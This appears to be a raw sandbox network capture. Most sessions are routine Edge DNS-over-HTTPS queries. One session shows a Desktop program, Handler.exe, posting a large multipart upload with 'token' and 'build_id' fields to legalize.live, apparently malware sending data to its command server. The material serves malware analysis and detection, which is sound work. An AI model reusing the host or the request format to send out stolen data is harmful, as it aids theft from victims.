Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49996	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomA)XT
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283396eb2dc3fa-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 03 6e 74 70 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 3d 00 21 0b 77 77 77 2d 6d 73 6e 2d 63 6f 6d 06 61 2d 30 30 30 33 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 3c 00 06 00 01 00 00 00 cd 00 2d 03 6e 73 31 c0 3c 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 14 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 46 00 0c 01 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ntpmsncomAT=!www-msn-coma-0003a-msedgenet<-ns1<msnhstmicrosoftx+"$)FB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49997	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 72 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 59 00 0c 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rbingcom)YU
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283396f91a4314-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 0c 00 00 00 01 01 72 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 4a 00 22 08 70 2d 73 74 61 74 69 63 04 62 69 6e 67 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 28 00 05 00 01 00 00 00 26 00 15 01 72 04 62 69 6e 67 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 45 c0 56 00 05 00 01 00 00 01 16 00 19 06 65 38 36 33 30 33 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 45 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 48 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 58 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 53 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 49 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 50 c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 4b c0 77 00 01 00 01 00 00 00 0e 00 04 17 db 52 Data Ascii: rbingcomTJ"p-staticbingtrafficmanagernet(&rbingcomedgekeyEVe86303dscxakamaiedgeEwRHwRXwRSwRIwRPwRKwR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49999	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 72 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 59 00 0c 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rbingcomA)YU
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283396fecb727a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 01 72 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 60 00 22 08 70 2d 73 74 61 74 69 63 04 62 69 6e 67 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 28 00 05 00 01 00 00 00 3c 00 15 01 72 04 62 69 6e 67 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 45 c0 56 00 05 00 01 00 00 01 2c 00 19 06 65 38 36 33 30 33 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 45 c0 7e 00 06 00 01 00 00 03 e8 00 31 06 6e 30 64 73 63 78 c0 83 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 c0 13 67 88 09 97 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 00 fc 00 0c 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rbingcomAT`"p-staticbingtrafficmanagernet(<rbingcomedgekeyEV,e86303dscxakamaiedgeE~1n0dscxhostmasterakamaig)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49995	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 72 0a 6d 73 66 74 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 53 00 0c 00 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rmsftstaticcom)SO
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833971e7719bb-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 01 72 0a 6d 73 66 74 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 53 49 00 26 10 72 2d 6d 73 66 74 73 74 61 74 69 63 2d 63 6f 6d 06 61 2d 30 30 31 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 2e 00 05 00 01 00 00 00 cf 00 02 c0 3f c0 3f 00 01 00 01 00 00 00 cf 00 04 cc 4f c5 db 00 00 29 04 d0 00 00 00 00 01 57 00 0c 01 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rmsftstaticcomSI&r-msftstatic-coma-0016a-msedgenet.??O)WS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49998	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 72 0a 6d 73 66 74 73 74 61 74 69 63 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 53 00 0c 00 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rmsftstaticcomA)SO
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833971e13423f-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 01 72 0a 6d 73 66 74 73 74 61 74 69 63 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 53 9c 00 26 10 72 2d 6d 73 66 74 73 74 61 74 69 63 2d 63 6f 6d 06 61 2d 30 30 31 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 46 00 06 00 01 00 00 00 2c 00 2d 03 6e 73 31 c0 46 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 19 78 2b 22 e5 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 f0 00 00 29 04 d0 00 00 00 00 01 3c 00 0c 01 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: rmsftstaticcomAS&r-msftstatic-coma-0016a-msedgenetF,-ns1Fmsnhstmicrosoftx+"$)<8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49991	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----5x47y5pzmglnym79ri58 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 78 34 37 79 35 70 7a 6d 67 6c 6e 79 6d 37 39 72 69 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 35 78 34 37 79 35 70 7a 6d 67 6c 6e 79 6d 37 39 72 69 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 35 78 34 37 79 35 70 7a 6d 67 6c 6e 79 6d 37 39 72 69 35 38 0d 0a 43 6f 6e 74 Data Ascii: ------5x47y5pzmglnym79ri58Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------5x47y5pzmglnym79ri58Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------5x47y5pzmglnym79ri58Cont
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:40 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:41 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50019	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 57 00 0c 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcom)WS
